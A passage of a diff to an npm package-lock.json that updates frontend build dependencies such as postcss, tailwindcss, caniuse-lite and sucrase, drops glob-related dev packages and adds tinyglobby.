"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001718.tgz", - "integrity": "sha512-AflseV1ahcSunK53NfEs9gFWgOEmzr0f+kaMFA4xiLZlr9Hzt7HxcSpIFcnNCUkz6R6dWKa54rUz3HUmI3nVcw==", + "version": "1.0.30001765", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001765.tgz", + "integrity": "sha512-LWcNtSyZrakjECqmpP4qdg0MMGdN368D7X8XvvAqOcqMv0RxnlqVKZl2V6/mBR68oYMxOZPLw/gO7DuisMHUvQ==", "dev": true, "funding": [ { @@ -979,26 +949,6 @@ "node": ">= 6" } }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "license": "MIT" - }, "node_modules/combined-stream": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", @@ -1021,21 +971,6 @@ "node": ">= 6" } }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, "node_modules/cssesc": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", @@ -1050,9 +985,9 @@ } }, "node_modules/csstype": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", - "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==", + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", "license": "MIT" }, "node_modules/delayed-stream": { @@ -1092,31 +1027,17 @@ "node": ">= 0.4" } }, - "node_modules/eastasianwidth": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", - "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", - "dev": true, - "license": "MIT" - }, "node_modules/electron-to-chromium": { - "version": "1.5.152", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.152.tgz", - "integrity": "sha512-xBOfg/EBaIlVsHipHl2VdTPJRSvErNUaqW8ejTq5OlOlIYx1wOllCHsAvAIrr55jD1IYEfdR86miUEt8H5IeJg==", + "version": "1.5.267", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz", + "integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==", "dev": true, "license": "ISC" }, - "node_modules/emoji-regex": { - "version": "9.2.2", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", - "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", - "dev": true, - "license": "MIT" - }, "node_modules/entities": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", - "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-7.0.0.tgz", + "integrity": "sha512-FDWG5cmEYf2Z00IkYRhbFrwIwvdFKH07uV8dvNy0omp/Qb1xcyCWp2UDtcwJF4QZZvk0sLudP6/hAu42TaqVhQ==", "license": "BSD-2-Clause", "engines": { "node": ">=0.12" @@ -1255,9 +1176,9 @@ } }, "node_modules/fastq": { - "version": "1.19.1", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz", - "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==", + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", "dev": true, "license": "ISC", "dependencies": { @@ -1288,9 +1209,9 @@ } }, "node_modules/follow-redirects": { - "version": "1.15.9", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.9.tgz", - "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", "funding": [ { "type": "individual", @@ -1307,32 +1228,16 @@ } } }, - "node_modules/foreground-child": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", - "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", - "dev": true, - "license": "ISC", - "dependencies": { - "cross-spawn": "^7.0.6", - "signal-exit": "^4.0.1" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/form-data": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.2.tgz", - "integrity": "sha512-hGfm/slu0ZabnNt4oaRZ6uREyfCj6P4fT/n6A1rGV+Z0VdGXjfOhVUpkn6qVQONHGIFwmveGXyDs75+nr6FM8w==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", "license": "MIT", "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", "mime-types": "^2.1.12" }, "engines": { @@ -1340,16 +1245,16 @@ } }, "node_modules/fraction.js": { - "version": "4.3.7", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz", - "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==", + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", + "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", "dev": true, "license": "MIT", "engines": { "node": "*" }, "funding": { - "type": "patreon", + "type": "github", "url": "https://github.com/sponsors/rawify" } }, @@ -1414,27 +1319,6 @@ "node": ">= 0.4" } }, - "node_modules/glob": { - "version": "10.4.5", - "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", - "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", - "dev": true, - "license": "ISC", - "dependencies": { - "foreground-child": "^3.1.0", - "jackspeak": "^3.1.2", - "minimatch": "^9.0.4", - "minipass": "^7.1.2", - "package-json-from-dist": "^1.0.0", - "path-scurry": "^1.11.1" - }, - "bin": { - "glob": "dist/esm/bin.mjs" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/glob-parent": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", @@ -1538,16 +1422,6 @@ "node": ">=0.10.0" } }, - "node_modules/is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/is-glob": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", @@ -1571,29 +1445,6 @@ "node": ">=0.12.0" } }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "dev": true, - "license": "ISC" - }, - "node_modules/jackspeak": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", - "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "@isaacs/cliui": "^8.0.2" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - }, - "optionalDependencies": { - "@pkgjs/parseargs": "^0.11.0" - } - }, "node_modules/jiti": { "version": "1.21.7", "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz", @@ -1624,20 +1475,13 @@ "dev": true, "license": "MIT" }, - "node_modules/lru-cache": { - "version": "10.4.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", - "dev": true, - "license": "ISC" - }, "node_modules/magic-string": { - "version": "0.30.17", - "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.17.tgz", - "integrity": "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA==", + "version": "0.30.21", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", "license": "MIT", "dependencies": { - "@jridgewell/sourcemap-codec": "^1.5.0" + "@jridgewell/sourcemap-codec": "^1.5.5" } }, "node_modules/math-intrinsics": { @@ -1703,32 +1547,6 @@ "mini-svg-data-uri": "cli.js" } }, - "node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.1" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/minipass": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", - "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=16 || 14 >=14.17" - } - }, "node_modules/mz": { "version": "2.7.0", "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", @@ -1760,9 +1578,9 @@ } }, "node_modules/node-releases": { - "version": "2.0.19", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz", - "integrity": "sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==", + "version": "2.0.27", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", + "integrity": "sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==", "dev": true, "license": "MIT" }, @@ -1776,16 +1594,6 @@ "node": ">=0.10.0" } }, - "node_modules/normalize-range": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", - "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", @@ -1850,23 +1658,6 @@ } } }, - "node_modules/package-json-from-dist": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", - "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", - "dev": true, - "license": "BlueOak-1.0.0" - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/path-parse": { "version": "1.0.7", "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", @@ -1874,23 +1665,6 @@ "dev": true, "license": "MIT" }, - "node_modules/path-scurry": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", - "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", - "dev": true, - "license": "BlueOak-1.0.0", - "dependencies": { - "lru-cache": "^10.2.0", - "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" - }, - "engines": { - "node": ">=16 || 14 >=14.18" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -1931,9 +1705,9 @@ } }, "node_modules/postcss": { - "version": "8.5.3", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.3.tgz", - "integrity": "sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==", + "version": "8.5.6", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz", + "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==", "funding": [ { "type": "opencollective", @@ -1950,7 +1724,7 @@ ], "license": "MIT", "dependencies": { - "nanoid": "^3.3.8", + "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" }, @@ -1977,10 +1751,20 @@ } }, "node_modules/postcss-js": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", - "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", + "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==", "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], "license": "MIT", "dependencies": { "camelcase-css": "^2.0.1" @@ -1988,18 +1772,14 @@ "engines": { "node": "^12 || ^14 || >= 16" }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, "peerDependencies": { "postcss": "^8.4.21" } }, "node_modules/postcss-load-config": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz", - "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", + "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", "dev": true, "funding": [ { @@ -2013,21 +1793,28 @@ ], "license": "MIT", "dependencies": { - "lilconfig": "^3.0.0", - "yaml": "^2.3.4" + "lilconfig": "^3.1.1" }, "engines": { - "node": ">= 14" + "node": ">= 18" }, "peerDependencies": { + "jiti": ">=1.21.0", "postcss": ">=8.0.9", - "ts-node": ">=9.0.0" + "tsx": "^4.8.1", + "yaml": "^2.4.2" }, "peerDependenciesMeta": { + "jiti": { + "optional": true + }, "postcss": { "optional": true }, - "ts-node": { + "tsx": { + "optional": true + }, + "yaml": { "optional": true } } @@ -2130,13 +1917,13 @@ } }, "node_modules/resolve": { - "version": "1.22.10", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz", - "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==", + "version": "1.22.11", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", + "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", "dev": true, "license": "MIT", "dependencies": { - "is-core-module": "^2.16.0", + "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, @@ -2202,42 +1989,6 @@ "queue-microtask": "^1.2.2" } }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, "node_modules/source-map-js": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", @@ -2247,123 +1998,19 @@ "node": ">=0.10.0" } }, - "node_modules/string-width": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", - "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "eastasianwidth": "^0.2.0", - "emoji-regex": "^9.2.2", - "strip-ansi": "^7.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/string-width-cjs": { - "name": "string-width", - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width-cjs/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true, - "license": "MIT" - }, - "node_modules/string-width-cjs/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-ansi": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", - "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^6.0.1" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/strip-ansi?sponsor=1" - } - }, - "node_modules/strip-ansi-cjs": { - "name": "strip-ansi", - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, "node_modules/sucrase": { - "version": "3.35.0", - "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.0.tgz", - "integrity": "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA==", + "version": "3.35.1", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", + "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", "dev": true, "license": "MIT", "dependencies": { "@jridgewell/gen-mapping": "^0.3.2", "commander": "^4.0.0", - "glob": "^10.3.10", "lines-and-columns": "^1.1.6", "mz": "^2.7.0", "pirates": "^4.0.1", + "tinyglobby": "^0.2.11", "ts-interface-checker": "^0.1.9" }, "bin": { @@ -2388,9 +2035,9 @@ } }, "node_modules/tailwindcss": { - "version": "3.4.17", - "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.17.tgz", - "integrity": "sha512-w33E2aCvSDP0tW9RZuNXadXlkHXqFzSkQew/aIa2i/Sj8fThxwovwlXHSPXTbAHwEIhBFXAedUhP2tueAKP8Og==", + "version": "3.4.19", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", + "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==", "dev": true, "license": "MIT", "dependencies": { @@ -2402,7 +2049,7 @@ "fast-glob": "^3.3.2", "glob-parent": "^6.0.2", "is-glob": "^4.0.3", - "jiti": "^1.21.6", + "jiti": "^1.21.7", "lilconfig": "^3.1.3", "micromatch": "^4.0.8", "normalize-path": "^3.0.0", @@ -2411,7 +2058,7 @@ "postcss": "^8.4.47", "postcss-import": "^15.1.0", "postcss-js": "^4.0.1", - "postcss-load-config": "^4.0.2", + "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", "postcss-nested": "^6.2.0", "postcss-selector-parser": "^6.1.2", "resolve": "^1.22.8", @@ -2448,6 +2095,54 @@ "node": ">=0.8" } }, + "node_modules/tinyglobby": { + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyglobby/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/tinyglobby/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + 